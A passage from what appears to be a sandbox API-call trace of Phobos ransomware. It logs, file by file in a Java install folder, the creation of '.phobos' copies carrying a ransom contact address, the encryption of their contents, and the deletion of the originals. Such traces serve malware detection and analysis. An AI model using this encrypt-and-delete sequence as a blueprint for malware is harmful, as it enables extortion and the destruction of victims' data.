| out: pbBuffer=0x2d4ff28) returned 1 [0135.239] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0135.239] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=69184) returned 1 [0135.239] CloseHandle (hObject=0x2f8) returned 1 [0135.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll")) returned 0x20 [0135.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.240] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0135.240] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0135.240] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0135.240] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0135.240] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x753158) returned 1 [0135.240] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0135.240] ReadFile (in: hFile=0x2f8, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x10e40, lpOverlapped=0x0) returned 1 [0135.308] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x10e50, dwBufLen=0x10e50 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x10e50) returned 1 [0135.308] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x10e50, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x10e50, lpOverlapped=0x0) returned 1 [0135.310] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x753198) returned 1 [0135.310] CryptSetKeyParam (hKey=0x753198, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0135.310] CryptEncrypt (in: hKey=0x753198, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0135.310] CryptDestroyKey (hKey=0x753198) returned 1 [0135.310] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0135.310] CryptDestroyKey (hKey=0x753158) returned 1 [0135.310] CloseHandle (hObject=0x2f8) returned 1 [0135.310] CloseHandle (hObject=0x2f4) returned 1 [0135.310] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll")) returned 1 [0135.311] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0135.311] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0135.311] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=128064) returned 1 [0135.312] CloseHandle (hObject=0x2f4) returned 1 [0135.312] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll")) returned 0x20 [0135.312] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.312] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0135.312] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0135.312] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0135.312] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0135.312] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752d18) returned 1 [0135.312] CryptSetKeyParam (hKey=0x752d18, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0135.312] ReadFile (in: hFile=0x2f4, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x1f440, lpOverlapped=0x0) returned 1 [0135.405] CryptEncrypt (in: hKey=0x752d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x1f450, dwBufLen=0x1f450 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x1f450) returned 1 [0135.405] WriteFile (in: hFile=0x2f8, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x1f450, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x1f450, lpOverlapped=0x0) returned 1 [0135.468] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752e98) returned 1 [0135.468] CryptSetKeyParam (hKey=0x752e98, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0135.468] CryptEncrypt (in: hKey=0x752e98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0135.468] CryptDestroyKey (hKey=0x752e98) returned 1 [0135.468] WriteFile (in: hFile=0x2f8, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0135.468] CryptDestroyKey (hKey=0x752d18) returned 1 [0135.468] CloseHandle (hObject=0x2f4) returned 1 [0135.468] CloseHandle (hObject=0x2f8) returned 1 [0135.469] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll")) returned 1 [0135.471] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0135.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0135.471] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=319552) returned 1 [0135.471] CloseHandle (hObject=0x2f8) returned 1 [0135.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe")) returned 0x20 [0135.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0135.472] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0135.472] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0135.472] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0135.472] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752ed8) returned 1 [0135.472] CryptSetKeyParam (hKey=0x752ed8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0135.472] ReadFile (in: hFile=0x2f8, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x4e040, lpOverlapped=0x0) returned 1 [0135.514] CryptEncrypt (in: hKey=0x752ed8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x4e050, dwBufLen=0x4e050 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x4e050) returned 1 [0135.515] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x4e050, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x4e050, lpOverlapped=0x0) returned 1 [0135.520] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752b18) returned 1 [0135.520] CryptSetKeyParam (hKey=0x752b18, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0135.520] CryptEncrypt (in: hKey=0x752b18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0135.520] CryptDestroyKey (hKey=0x752b18) returned 1 [0135.520] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0135.520] CryptDestroyKey (hKey=0x752ed8) returned 1 [0135.520] CloseHandle (hObject=0x2f8) returned 1 [0135.520] CloseHandle (hObject=0x2f4) returned 1 [0135.520] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe")) returned 1 [0135.523] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0135.523] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0135.523] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=29760) returned 1 [0135.523] CloseHandle (hObject=0x2f4) returned 1 [0135.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll")) returned 0x20 [0135.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.524] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0135.524] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0135.524] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0135.524] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0135.524] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x7530d8) returned 1 [0135.524] CryptSetKeyParam (hKey=0x7530d8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0135.524] ReadFile (in: hFile=0x2f4, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x7440, lpOverlapped=0x0) returned 1 [0135.571] CryptEncrypt (in: hKey=0x7530d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x7450, dwBufLen=0x7450 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x7450) returned 1 [0135.571] WriteFile (in: hFile=0x2f8, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x7450, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x7450, lpOverlapped=0x0) returned 1 [0135.579] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752a58) returned 1 [0135.579] CryptSetKeyParam (hKey=0x752a58, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0135.579] CryptEncrypt (in: hKey=0x752a58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x50, dwBufLen=0x50 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x50) returned 1 [0135.579] CryptDestroyKey (hKey=0x752a58) returned 1 [0135.579] WriteFile (in: hFile=0x2f8, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x102, lpOverlapped=0x0) returned 1 [0135.579] CryptDestroyKey (hKey=0x7530d8) returned 1 [0135.579] CloseHandle (hObject=0x2f4) returned 1 [0135.579] CloseHandle (hObject=0x2f8) returned 1 [0135.583] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll")) returned 1 [0135.586] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0135.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0135.588] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=15424) returned 1 [0135.588] CloseHandle (hObject=0x30c) returned 1 [0135.588] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll")) returned 0x20 [0135.588] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.597] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0135.598] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0135.598] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0135.598] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0135.619] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752e18) returned 1 [0135.619] CryptSetKeyParam (hKey=0x752e18, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0135.619] ReadFile (in: hFile=0x2f4, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x3c40, lpOverlapped=0x0) returned 1 [0135.671] CryptEncrypt (in: hKey=0x752e18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x3c50, dwBufLen=0x3c50 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x3c50) returned 1 [0135.671] WriteFile (in: hFile=0x308, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x3c50, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x3c50, lpOverlapped=0x0) returned 1 [0135.672] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752d98) returned 1 [0135.672] CryptSetKeyParam (hKey=0x752d98, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0135.672] CryptEncrypt (in: hKey=0x752d98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x50, dwBufLen=0x50 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x50) returned 1 [0135.672] CryptDestroyKey (hKey=0x752d98) returned 1 [0135.672] WriteFile (in: hFile=0x308, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x102, lpOverlapped=0x0) returned 1 [0135.673] CryptDestroyKey (hKey=0x752e18) returned 1 [0135.673] CloseHandle (hObject=0x2f4) returned 1 [0135.673] CloseHandle (hObject=0x308) returned 1 [0135.673] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll")) returned 1 [0135.674] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0135.674] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0135.674] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=139840) returned 1 [0135.674] CloseHandle (hObject=0x308) returned 1 [0135.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll")) returned 0x20 [0135.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.674] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0135.674] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0135.674] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0135.674] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0135.674] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x753018) returned 1 [0135.675] CryptSetKeyParam (hKey=0x753018, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0135.675] ReadFile (in: hFile=0x308, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x22240, lpOverlapped=0x0) returned 1 [0135.682] CryptEncrypt (in: hKey=0x753018, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x22250, dwBufLen=0x22250 | out: pbData=0x3111020*, 